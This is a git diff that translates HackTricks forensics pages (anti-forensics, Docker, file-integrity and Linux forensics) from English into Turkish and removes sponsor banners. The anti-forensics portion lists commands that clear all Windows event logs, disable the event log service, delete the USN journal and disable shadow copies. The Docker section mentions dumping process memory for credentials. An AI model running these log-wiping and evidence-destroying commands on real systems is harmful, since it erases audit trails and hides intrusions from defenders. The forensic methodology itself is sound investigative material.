delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +Ayrıca, [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) adresinde önerilen adımları izleyerek GUI üzerinden de silebilirsiniz. -To disable shadow copies [steps from here](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): +Gölge kopyalarını devre dışı bırakmak için [buradaki adımları](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows) izleyebilirsiniz: -1. Open the Services program by typing "services" into the text search box after clicking the Windows start button. -2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking. -3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK. +1. Windows başlat düğmesine tıkladıktan sonra metin arama kutusuna "services" yazarak Hizmetler programını açın. +2. Listeden "Volume Shadow Copy"yi bulun, seçin ve sağ tıklayarak Özellikler'e erişin. +3. "Başlangıç türü" açılır menüsünden Devre Dışı seçeneğini seçin ve ardından değişikliği onaylamak için Uygula ve Tamam'a tıklayın. -It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +Hangi dosyaların gölge kopyasında kopyalanacağını yapılandırmayı da kayıt defterinde `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` ile değiştirmek mümkündür. -## Overwrite deleted files +## Silinmiş Dosyaları Üzerine Yaz -- You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive. -- You can also use tools like [**Eraser**](https://eraser.heidi.ie) +- **Windows aracı** kullanabilirsiniz: `cipher /w:C` Bu, şifreleme aracına C sürücüsündeki kullanılmayan disk alanından herhangi bir veriyi kaldırmasını belirtir. +- Ayrıca, [**Eraser**](https://eraser.heidi.ie) gibi araçlar da kullanabilirsiniz. -## Delete Windows event logs +## Windows Olay Günlüklerini Sil -- Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" +- Windows + R --> eventvwr.msc --> "Windows Günlükleri"ni genişletin --> Her kategoriye sağ tıklayın ve "Günlüğü Temizle"yi seçin - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` - `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -## Disable Windows event logs +## Windows Olay Günlüklerini Devre Dışı Bırak - `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- Inside the services section disable the service "Windows Event Log" -- `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl` +- Hizmetler bölümünde "Windows Olay Günlüğü" hizmetini devre dışı bırakın +- `WEvtUtil.exec clear-log` veya `WEvtUtil.exe cl` -## Disable $UsnJrnl +## $UsnJrnl'yi Devre Dışı Bırak - `fsutil usn deletejournal /d c:` -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/docker-forensics.md b/src/forensics/basic-forensic-methodology/docker-forensics.md index 629251985..75aba72b5 100644 --- a/src/forensics/basic-forensic-methodology/docker-forensics.md +++ b/src/forensics/basic-forensic-methodology/docker-forensics.md @@ -1,25 +1,17 @@ -# Docker Forensics +# Docker Adli Tıp {{#include ../../banners/hacktricks-training.md}} -
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - -## Container modification - -There are suspicions that some docker container was compromised: +## Konteyner Değişikliği +Bazı docker konteynerlerinin tehlikeye atıldığına dair şüpheler var: ```bash docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress ``` - -You can easily **find the modifications done to this container with regards to the image** with: - +Bu konteynerde **görüntü ile ilgili yapılan değişiklikleri kolayca bulabilirsiniz**: ```bash docker diff wordpress C /var @@ -33,70 +25,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` - -In the previous command **C** means **Changed** and **A,** **Added**.\ -If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with: - +Önceki komutta **C** **Değiştirildi** ve **A,** **Eklendi** anlamına gelir.\ +Eğer `/etc/shadow` gibi ilginç bir dosyanın değiştirildiğini bulursanız, kötü niyetli etkinlikleri kontrol etmek için dosyayı konteynerden indirmek için: ```bash docker cp wordpress:/etc/shadow. ``` - -You can also **compare it with the original one** running a new container and extracting the file from it: - +Aynı zamanda **bunu orijinal ile karşılaştırabilirsiniz** yeni bir konteyner çalıştırarak ve içinden dosyayı çıkararak: ```bash docker run -d lamp-wordpress docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container diff original_shadow shadow ``` - -If you find that **some suspicious file was added** you can access the container and check it: - +Eğer **şüpheli bir dosyanın eklendiğini bulursanız** konteynıra erişip kontrol edebilirsiniz: ```bash docker exec -it wordpress bash ``` +## Görüntü değişiklikleri -## Images modifications - -When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: - +Bir dışa aktarılmış docker görüntüsü (muhtemelen `.tar` formatında) verildiğinde, **değişikliklerin bir özetini çıkarmak için** [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) kullanabilirsiniz: ```bash docker save > image.tar #Export the image to a .tar file container-diff analyze -t sizelayer image.tar container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` - -Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history: - +Sonra, görüntüyü **açabilir** ve **bloblardan** şüpheli dosyaları aramak için erişebilirsiniz; bu dosyaları değişiklik geçmişinde bulmuş olabilirsiniz: ```bash tar -xf image.tar ``` +### Temel Analiz -### Basic Analysis - -You can get **basic information** from the image running: - +Görüntüden **temel bilgiler** alabilirsiniz: ```bash docker inspect ``` - -You can also get a summary **history of changes** with: - +Ayrıca **değişiklikler tarihi** özeti alabilirsiniz: ```bash docker history --no-trunc ``` - -You can also generate a **dockerfile from an image** with: - +Bir **görüntüden dockerfile oluşturabilirsiniz**: ```bash alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> ``` - ### Dive -In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: - +Docker görüntülerinde eklenmiş/değiştirilmiş dosyaları bulmak için [**dive**](https://github.com/wagoodman/dive) (bunu [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0) sayfasından indirin) aracını da kullanabilirsiniz: ```bash #First you need to load the image in your docker repo sudo docker load < image.tar 1 ⨯ @@ -105,27 +79,18 @@ Loaded image: flask:latest #And then open it with dive: sudo dive flask:latest ``` +Bu, **docker görüntülerinin farklı blob'ları arasında gezinmenizi** ve hangi dosyaların değiştirildiğini/eklendiğini kontrol etmenizi sağlar. **Kırmızı** eklenmiş anlamına gelir ve **sarı** değiştirilmiş anlamına gelir. Diğer görünüme geçmek için **tab** tuşunu ve klasörleri daraltmak/açmak için **space** tuşunu kullanın. -This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders. - -With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\ -You can decompress all the layers from an image from the directory where the image was decompressed executing: - +Die ile görüntünün farklı aşamalarının içeriğine erişemeyeceksiniz. Bunu yapmak için **her katmanı sıkıştırmanız ve erişmeniz** gerekecek.\ +Bir görüntüden tüm katmanları, görüntünün sıkıştırıldığı dizinden şu komutu çalıştırarak sıkıştırabilirsiniz: ```bash tar -xf image.tar for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done ``` +## Bellekten Kimlik Bilgileri -## Credentials from memory +Bir docker konteynerini bir ana bilgisayar içinde çalıştırdığınızda **ana bilgisayardan konteynerde çalışan süreçleri görebileceğinizi** unutmayın, sadece `ps -ef` komutunu çalıştırarak. -Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` - -Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory). - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} +Bu nedenle (root olarak) **ana bilgisayardan süreçlerin belleğini dökebilir** ve **kimlik bilgilerini** arayabilirsiniz, tıpkı [**aşağıdaki örnekteki gibi**](../../linux-hardening/privilege-escalation/#process-memory). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md index 214b917cf..d9c20552f 100644 --- a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md @@ -1,25 +1,25 @@ {{#include ../../banners/hacktricks-training.md}} -# Baseline +# Temel -A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**. +Bir temel, bir sistemin belirli bölümlerinin anlık görüntüsünü almayı içerir ve **değişiklikleri vurgulamak için gelecekteki bir durumla karşılaştırma yapar**. -For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\ -This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all. +Örneğin, dosya sistemindeki her dosyanın hash'ini hesaplayıp saklayarak hangi dosyaların değiştirildiğini bulabilirsiniz.\ +Bu, oluşturulan kullanıcı hesapları, çalışan süreçler, çalışan hizmetler ve çok fazla değişmemesi gereken veya hiç değişmemesi gereken diğer şeyler için de yapılabilir. -## File Integrity Monitoring +## Dosya Bütünlüğü İzleme -File Integrity Monitoring (FIM) is a critical security technique that protects IT environments and data by tracking changes in files. It involves two key steps: +Dosya Bütünlüğü İzleme (FIM), dosyalardaki değişiklikleri izleyerek BT ortamlarını ve verileri koruyan kritik bir güvenlik tekniğidir. İki ana adımı içerir: -1. **Baseline Comparison:** Establish a baseline using file attributes or cryptographic checksums (like MD5 or SHA-2) for future comparisons to detect modifications. -2. **Real-Time Change Notification:** Get instant alerts when files are accessed or altered, typically through OS kernel extensions. +1. **Temel Karşılaştırması:** Değişiklikleri tespit etmek için gelecekteki karşılaştırmalar için dosya özellikleri veya kriptografik kontrol toplamları (MD5 veya SHA-2 gibi) kullanarak bir temel oluşturun. +2. **Gerçek Zamanlı Değişiklik Bildirimi:** Dosyalar erişildiğinde veya değiştirildiğinde, genellikle işletim sistemi çekirdek uzantıları aracılığıyla anında bildirim alın. -## Tools +## Araçlar - [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) - [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) -## References +## Referanslar - [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it) diff --git a/src/forensics/basic-forensic-methodology/linux-forensics.md b/src/forensics/basic-forensic-methodology/linux-forensics.md index 8d505942f..9b9134af2 100644 --- a/src/forensics/basic-forensic-methodology/linux-forensics.md +++ b/src/forensics/basic-forensic-methodology/linux-forensics.md @@ -1,28 +1,17 @@ # Linux Forensics -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../banners/hacktricks-training.md}} -## Initial Information Gathering +## İlk Bilgi Toplama -### Basic Information - -First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries: +### Temel Bilgiler +Öncelikle, üzerinde **iyi bilinen ikili dosyalar ve kütüphaneler bulunan bir **USB** bulundurmanız önerilir** (sadece ubuntu alıp _/bin_, _/sbin_, _/lib,_ ve _/lib64_ klasörlerini kopyalayabilirsiniz), ardından USB'yi bağlayın ve bu ikili dosyaları kullanmak için çevre değişkenlerini değiştirin: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 ``` - -Once you have configured the system to use good and known binaries you can start **extracting some basic information**: - +Sistemi iyi ve bilinen ikili dosyaları kullanacak şekilde yapılandırdıktan sonra **bazı temel bilgileri çıkarmaya** başlayabilirsiniz: ```bash date #Date and time (Clock may be skewed, Might be at a different timezone) uname -a #OS info @@ -40,50 +29,46 @@ cat /etc/passwd #Unexpected data? cat /etc/shadow #Unexpected data? find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory ``` +#### Şüpheli bilgiler -#### Suspicious information +Temel bilgileri elde ederken, tuhaf şeyler için kontrol etmelisiniz: -While obtaining the basic information you should check for weird things like: +- **Root süreçleri** genellikle düşük PID'lerle çalışır, bu yüzden büyük bir PID ile bir root süreci bulursanız şüphelenebilirsiniz. +- `/etc/passwd` içinde bir shell'i olmayan kullanıcıların **kayıtlı girişlerini** kontrol edin. +- Shell'i olmayan kullanıcılar için `/etc/shadow` içinde **şifre hash'lerini** kontrol edin. -- **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect -- Check **registered logins** of users without a shell inside `/etc/passwd` -- Check for **password hashes** inside `/etc/shadow` for users without a shell +### Bellek Dökümü -### Memory Dump - -To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ -To **compile** it, you need to use the **same kernel** that the victim machine is using. +Çalışan sistemin belleğini elde etmek için [**LiME**](https://github.com/504ensicsLabs/LiME) kullanmanız önerilir.\ +Bunu **derlemek** için, kurban makinesinin kullandığı **aynı çekirdek** ile çalışmalısınız. > [!NOTE] -> Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it - -So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\ -In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them: +> Kurban makinesine **LiME veya başka bir şey** yükleyemeyeceğinizi unutmayın, çünkü bu makinede birçok değişiklik yapacaktır. +Bu nedenle, eğer aynı Ubuntu sürümüne sahipseniz `apt-get install lime-forensics-dkms` kullanabilirsiniz.\ +Diğer durumlarda, [**LiME**](https://github.com/504ensicsLabs/LiME) github'dan indirmeniz ve doğru çekirdek başlıkları ile derlemeniz gerekir. Kurban makinesinin **tam çekirdek başlıklarını** elde etmek için, sadece `/lib/modules/` dizinini makinenize **kopyalayabilir** ve ardından bunları kullanarak LiME'yi **derleyebilirsiniz**: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" ``` +LiME 3 **formatı** destekler: -LiME supports 3 **formats**: +- Ham (her segment bir araya getirilmiş) +- Doldurulmuş (ham ile aynı, ancak sağ bitlerde sıfırlarla) +- Lime (meta verilerle önerilen format) -- Raw (every segment concatenated together) -- Padded (same as raw, but with zeroes in right bits) -- Lime (recommended format with metadata +LiME ayrıca **dökümü ağ üzerinden göndermek için** de kullanılabilir, bunu yapmak için şöyle bir şey kullanabilirsiniz: `path=tcp:4444` -LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` +### Disk Görüntüleme -### Disk Imaging +#### Kapatma -#### Shutting down +Öncelikle, **sistemi kapatmanız** gerekecek. Bu her zaman bir seçenek değildir çünkü bazen sistem, şirketin kapatmayı göze alamayacağı bir üretim sunucusu olacaktır.\ +Sistemi kapatmanın **2 yolu** vardır, bir **normal kapatma** ve bir **"fişi çekme" kapatma**. İlk yöntem, **işlemlerin normal şekilde sonlanmasına** ve **dosya sisteminin** **senkronize edilmesine** izin verir, ancak aynı zamanda olası **kötü amaçlı yazılımın** **kanıtları yok etmesine** de olanak tanır. "Fişi çekme" yaklaşımı, **bazı bilgi kaybı** taşıyabilir (çok fazla bilgi kaybolmayacak çünkü zaten belleğin bir görüntüsünü aldık) ve **kötü amaçlı yazılımın** bununla ilgili bir şey yapma fırsatı olmayacaktır. Bu nedenle, eğer **kötü amaçlı yazılım** olabileceğinden **şüpheleniyorsanız**, sistemde **`sync`** **komutunu** çalıştırın ve fişi çekin. -First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\ -There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. - -#### Taking an image of the disk - -It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information. +#### Diskin görüntüsünü alma +**Dava ile ilgili herhangi bir şeye bilgisayarınızı bağlamadan önce**, bunun **sadece okunur olarak monte edileceğinden** emin olmanız önemlidir, böylece herhangi bir bilgiyi değiştirmemiş olursunuz. ```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -92,11 +77,9 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` +### Disk Image ön analizi -### Disk Image pre-analysis - -Imaging a disk image with no more data. - +Veri kalmayan bir disk görüntüsünü görüntüleme. ```bash #Find out if it's a disk image using "file" command file disk.img @@ -108,12 +91,12 @@ raw #You can list supported types with img_stat -i list Supported image format types: - raw (Single or split raw file (dd)) - aff (Advanced Forensic Format) - afd (AFF Multiple File) - afm (AFF with external metadata) - afflib (All AFFLIB image formats (including beta ones)) - ewf (Expert Witness Format (EnCase)) +raw (Single or split raw file (dd)) +aff (Advanced Forensic Format) +afd (AFF Multiple File) +afm (AFF with external metadata) +afflib (All AFFLIB image formats (including beta ones)) +ewf (Expert Witness Format (EnCase)) #Data of the image fsstat -i raw -f ext4 disk.img @@ -149,41 +132,31 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` +## Bilinen Kötü Amaçlı Yazılımları Ara -
+### Değiştirilmiş Sistem Dosyaları -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Linux, potansiyel olarak sorunlu dosyaları tespit etmek için kritik olan sistem bileşenlerinin bütünlüğünü sağlamak için araçlar sunar. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +- **RedHat tabanlı sistemler**: Kapsamlı bir kontrol için `rpm -Va` kullanın. +- **Debian tabanlı sistemler**: İlk doğrulama için `dpkg --verify` kullanın, ardından `debsums | grep -v "OK$"` (önce `apt-get install debsums` ile `debsums` yükledikten sonra) ile herhangi bir sorunu tespit edin. -## Search for known Malware +### Kötü Amaçlı Yazılım/Rootkit Tespit Cihazları -### Modified System Files - -Linux offers tools for ensuring the integrity of system components, crucial for spotting potentially problematic files. - -- **RedHat-based systems**: Use `rpm -Va` for a comprehensive check. -- **Debian-based systems**: `dpkg --verify` for initial verification, followed by `debsums | grep -v "OK$"` (after installing `debsums` with `apt-get install debsums`) to identify any issues. - -### Malware/Rootkit Detectors - -Read the following page to learn about tools that can be useful to find malware: +Kötü amaçlı yazılımları bulmak için faydalı olabilecek araçlar hakkında bilgi edinmek için aşağıdaki sayfayı okuyun: {{#ref}} malware-analysis.md {{#endref}} -## Search installed programs +## Yüklenmiş Programları Ara -To effectively search for installed programs on both Debian and RedHat systems, consider leveraging system logs and databases alongside manual checks in common directories. +Debian ve RedHat sistemlerinde yüklenmiş programları etkili bir şekilde aramak için, sistem günlüklerini ve veritabanlarını manuel kontrollerle birlikte kullanmayı düşünün. -- For Debian, inspect _**`/var/lib/dpkg/status`**_ and _**`/var/log/dpkg.log`**_ to fetch details about package installations, using `grep` to filter for specific information. -- RedHat users can query the RPM database with `rpm -qa --root=/mntpath/var/lib/rpm` to list installed packages. - -To uncover software installed manually or outside of these package managers, explore directories like _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, and _**`/sbin`**_. Combine directory listings with system-specific commands to identify executables not associated with known packages, enhancing your search for all installed programs. +- Debian için, paket yüklemeleri hakkında bilgi almak için _**`/var/lib/dpkg/status`**_ ve _**`/var/log/dpkg.log`**_ dosyalarını kontrol edin, belirli bilgileri filtrelemek için `grep` kullanın. +- RedHat kullanıcıları, yüklenmiş paketleri listelemek için `rpm -qa --root=/mntpath/var/lib/rpm` ile RPM veritabanını sorgulayabilir. +Bu paket yöneticileri dışında manuel olarak yüklenmiş yazılımları ortaya çıkarmak için _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ ve _**`/sbin`**_ gibi dizinleri keşfedin. Bilinen paketlerle ilişkilendirilmemiş çalıştırılabilir dosyaları tanımlamak için dizin listelemelerini sistem spesifik komutlarla birleştirerek tüm yüklenmiş programlar için aramanızı geliştirin. ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -199,29 +172,17 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not" # Find exacuable files find / -type f -executable | grep ``` +## Silinmiş Çalışan İkili Dosyaları Kurtarma -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Recover Deleted Running Binaries - -Imagine a process that was executed from /tmp/exec and then deleted. It's possible to extract it - +/tmp/exec konumundan çalıştırılan ve ardından silinen bir süreci hayal edin. Onu çıkarmak mümkündür. ```bash cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it ``` +## Autostart konumlarını incele -## Inspect Autostart locations - -### Scheduled Tasks - +### Zamanlanmış Görevler ```bash cat /var/spool/cron/crontabs/* \ /var/spool/cron/atjobs \ @@ -235,61 +196,60 @@ cat /var/spool/cron/crontabs/* \ #MacOS ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ``` +### Hizmetler -### Services +Kötü amaçlı yazılımın bir hizmet olarak kurulabileceği yollar: -Paths where a malware could be installed as a service: +- **/etc/inittab**: rc.sysinit gibi başlatma betiklerini çağırır, daha sonra başlatma betiklerine yönlendirir. +- **/etc/rc.d/** ve **/etc/rc.boot/**: Hizmet başlatma betiklerini içerir, ikincisi daha eski Linux sürümlerinde bulunur. +- **/etc/init.d/**: Debian gibi belirli Linux sürümlerinde başlatma betiklerini depolamak için kullanılır. +- Hizmetler, Linux varyantına bağlı olarak **/etc/inetd.conf** veya **/etc/xinetd/** aracılığıyla da etkinleştirilebilir. +- **/etc/systemd/system**: Sistem ve hizmet yöneticisi betikleri için bir dizin. +- **/etc/systemd/system/multi-user.target.wants/**: Çok kullanıcılı çalışma seviyesinde başlatılması gereken hizmetlere bağlantılar içerir. +- **/usr/local/etc/rc.d/**: Özel veya üçüncü taraf hizmetler için. +- **\~/.config/autostart/**: Kullanıcıya özgü otomatik başlatma uygulamaları için, kullanıcı hedefli kötü amaçlı yazılımlar için bir saklanma yeri olabilir. +- **/lib/systemd/system/**: Yüklenmiş paketler tarafından sağlanan sistem genelindeki varsayılan birim dosyaları. -- **/etc/inittab**: Calls initialization scripts like rc.sysinit, directing further to startup scripts. -- **/etc/rc.d/** and **/etc/rc.boot/**: Contain scripts for service startup, the latter being found in older Linux versions. -- **/etc/init.d/**: Used in certain Linux versions like Debian for storing startup scripts. -- Services may also be activated via **/etc/inetd.conf** or **/etc/xinetd/**, depending on the Linux variant. -- **/etc/systemd/system**: A directory for system and service manager scripts. -- **/etc/systemd/system/multi-user.target.wants/**: Contains links to services that should be started in a multi-user runlevel. -- **/usr/local/etc/rc.d/**: For custom or third-party services. -- **\~/.config/autostart/**: For user-specific automatic startup applications, which can be a hiding spot for user-targeted malware. -- **/lib/systemd/system/**: System-wide default unit files provided by installed packages. +### Çekirdek Modülleri -### Kernel Modules +Kötü amaçlı yazılım tarafından genellikle rootkit bileşenleri olarak kullanılan Linux çekirdek modülleri, sistem önyüklemesi sırasında yüklenir. Bu modüller için kritik dizinler ve dosyalar şunlardır: -Linux kernel modules, often utilized by malware as rootkit components, are loaded at system boot. The directories and files critical for these modules include: +- **/lib/modules/$(uname -r)**: Çalışan çekirdek sürümü için modülleri tutar. +- **/etc/modprobe.d**: Modül yüklemeyi kontrol eden yapılandırma dosyalarını içerir. +- **/etc/modprobe** ve **/etc/modprobe.conf**: Küresel modül ayarları için dosyalar. -- **/lib/modules/$(uname -r)**: Holds modules for the running kernel version. -- **/etc/modprobe.d**: Contains configuration files to control module loading. -- **/etc/modprobe** and **/etc/modprobe.conf**: Files for global module settings. +### Diğer Otomatik Başlatma Yerleri -### Other Autostart Locations +Linux, kullanıcı girişi sırasında programları otomatik olarak çalıştırmak için çeşitli dosyalar kullanır, bu da kötü amaçlı yazılımları barındırma potansiyeline sahiptir: -Linux employs various files for automatically executing programs upon user login, potentially harboring malware: +- **/etc/profile.d/**\*, **/etc/profile**, ve **/etc/bash.bashrc**: Herhangi bir kullanıcı girişi için çalıştırılır. +- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, ve **\~/.config/autostart**: Kullanıcıya özgü dosyalar, kullanıcı girişi sırasında çalışır. +- **/etc/rc.local**: Tüm sistem hizmetleri başlatıldıktan sonra çalışır, çok kullanıcılı bir ortama geçişin sonunu işaret eder. -- **/etc/profile.d/**\*, **/etc/profile**, and **/etc/bash.bashrc**: Executed for any user login. -- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, and **\~/.config/autostart**: User-specific files that run upon their login. -- **/etc/rc.local**: Runs after all system services have started, marking the end of the transition to a multiuser environment. +## Günlükleri İnceleyin -## Examine Logs +Linux sistemleri, kullanıcı etkinliklerini ve sistem olaylarını çeşitli günlük dosyaları aracılığıyla takip eder. Bu günlükler, yetkisiz erişimi, kötü amaçlı yazılım enfeksiyonlarını ve diğer güvenlik olaylarını tanımlamak için kritik öneme sahiptir. Anahtar günlük dosyaları şunlardır: -Linux systems track user activities and system events through various log files. These logs are pivotal for identifying unauthorized access, malware infections, and other security incidents. Key log files include: - -- **/var/log/syslog** (Debian) or **/var/log/messages** (RedHat): Capture system-wide messages and activities. -- **/var/log/auth.log** (Debian) or **/var/log/secure** (RedHat): Record authentication attempts, successful and failed logins. - - Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` to filter relevant authentication events. -- **/var/log/boot.log**: Contains system startup messages. -- **/var/log/maillog** or **/var/log/mail.log**: Logs email server activities, useful for tracking email-related services. -- **/var/log/kern.log**: Stores kernel messages, including errors and warnings. -- **/var/log/dmesg**: Holds device driver messages. -- **/var/log/faillog**: Records failed login attempts, aiding in security breach investigations. -- **/var/log/cron**: Logs cron job executions. -- **/var/log/daemon.log**: Tracks background service activities. -- **/var/log/btmp**: Documents failed login attempts. -- **/var/log/httpd/**: Contains Apache HTTPD error and access logs. -- **/var/log/mysqld.log** or **/var/log/mysql.log**: Logs MySQL database activities. -- **/var/log/xferlog**: Records FTP file transfers. -- **/var/log/**: Always check for unexpected logs here. +- **/var/log/syslog** (Debian) veya **/var/log/messages** (RedHat): Sistem genelindeki mesajları ve etkinlikleri yakalar. +- **/var/log/auth.log** (Debian) veya **/var/log/secure** (RedHat): Kimlik doğrulama girişimlerini, başarılı ve başarısız girişleri kaydeder. +- İlgili kimlik doğrulama olaylarını filtrelemek için `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` komutunu kullanın. +- **/var/log/boot.log**: Sistem başlatma mesajlarını içerir. +- **/var/log/maillog** veya **/var/log/mail.log**: E-posta sunucusu etkinliklerini kaydeder, e-posta ile ilgili hizmetleri takip etmek için yararlıdır. +- **/var/log/kern.log**: Hata ve uyarılar da dahil olmak üzere çekirdek mesajlarını saklar. +- **/var/log/dmesg**: Aygıt sürücü mesajlarını tutar. +- **/var/log/faillog**: Başarısız giriş girişimlerini kaydeder, güvenlik ihlali soruşturmalarına yardımcı olur. +- **/var/log/cron**: Cron işlerinin yürütülmelerini kaydeder. +- **/var/log/daemon.log**: Arka plan hizmeti etkinliklerini takip eder. +- **/var/log/btmp**: 